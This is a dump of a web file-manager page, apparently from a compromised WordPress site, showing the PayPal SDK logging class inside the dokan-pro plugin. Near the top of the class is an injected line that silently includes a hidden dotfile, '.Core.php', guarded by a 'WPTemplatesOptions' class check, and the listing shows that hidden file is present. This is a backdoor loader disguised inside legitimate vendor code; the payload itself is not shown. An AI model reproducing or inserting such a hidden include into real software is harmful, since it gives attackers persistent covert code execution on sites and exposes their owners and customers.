PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-pro
/
vendor
/
paypal
/
sdk-core-php
/
lib
/
PayPal
/
Core
<?php namespace PayPal\Core; /** * Simple Logging Manager. * This does an error_log for now * Potential frameworks to use are PEAR logger, log4php from Apache */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class PPLoggingManager { // Default Logging Level const DEFAULT_LOGGING_LEVEL = 0; // Logger name private $loggerName; // Log enabled private $isLoggingEnabled; // Configured logging level private $loggingLevel; // Configured logging file private $loggerFile; //log message private $loggerMessage; public function __construct($loggerName, $config = null) { $this->loggerName = $loggerName; $config = PPConfigManager::getConfigWithDefaults($config); $this->isLoggingEnabled = (array_key_exists('log.LogEnabled', $config) && $config['log.LogEnabled'] == '1'); if ($this->isLoggingEnabled) { $this->loggerFile = ($config['log.FileName']) ? $config['log.FileName'] : ini_get('error_log'); $loggingLevel = strtoupper($config['log.LogLevel']); $this->loggingLevel = (isset($loggingLevel) && defined(__NAMESPACE__ . "\\PPLoggingLevel::$loggingLevel")) ? constant(__NAMESPACE__ . "\\PPLoggingLevel::$loggingLevel") : PPLoggingManager::DEFAULT_LOGGING_LEVEL; } } public function __destruct() { $this->flush(); } public function flush() { if($this->loggerMessage) { error_log($this->loggerMessage, 3, $this->loggerFile); } } private function log($message, $level = PPLoggingLevel::INFO) { if ($this->isLoggingEnabled && ($level <= $this->loggingLevel)) { $this->loggerMessage .= $this->loggerName . ": $message\n"; } } public function error($message) { $this->log($message, PPLoggingLevel::ERROR); } public function warning($message) { $this->log($message, PPLoggingLevel::WARN); } public function info($message) { $this->log($message, PPLoggingLevel::INFO); } public function fine($message) { $this->log($message, PPLoggingLevel::FINE); } }
[+]
..
[-] PPConfigManager.php
[edit]
[-] PPHttpConfig.php
[edit]
[-] .Core.php
[edit]
[-] PPHttpConnection.php
[edit]
[-] PPBaseService.php
[edit]
[-] PPConnectionManager.php
[edit]
[-] PPLoggingLevel.php
[edit]
[-] PPAPIService.php
[edit]
[-] cacert.pem
[edit]
[-] PPUtils.php
[edit]
[-] PPLoggingManager.php
[edit]
[-] PPConstants.php
[edit]
[-] PPRequest.php
[edit]
[-] PPXmlFaultMessage.php
[edit]
[-] PPXmlMessage.php
[edit]
[-] PPCredentialManager.php
[edit]
[-] PPMessage.php
[edit]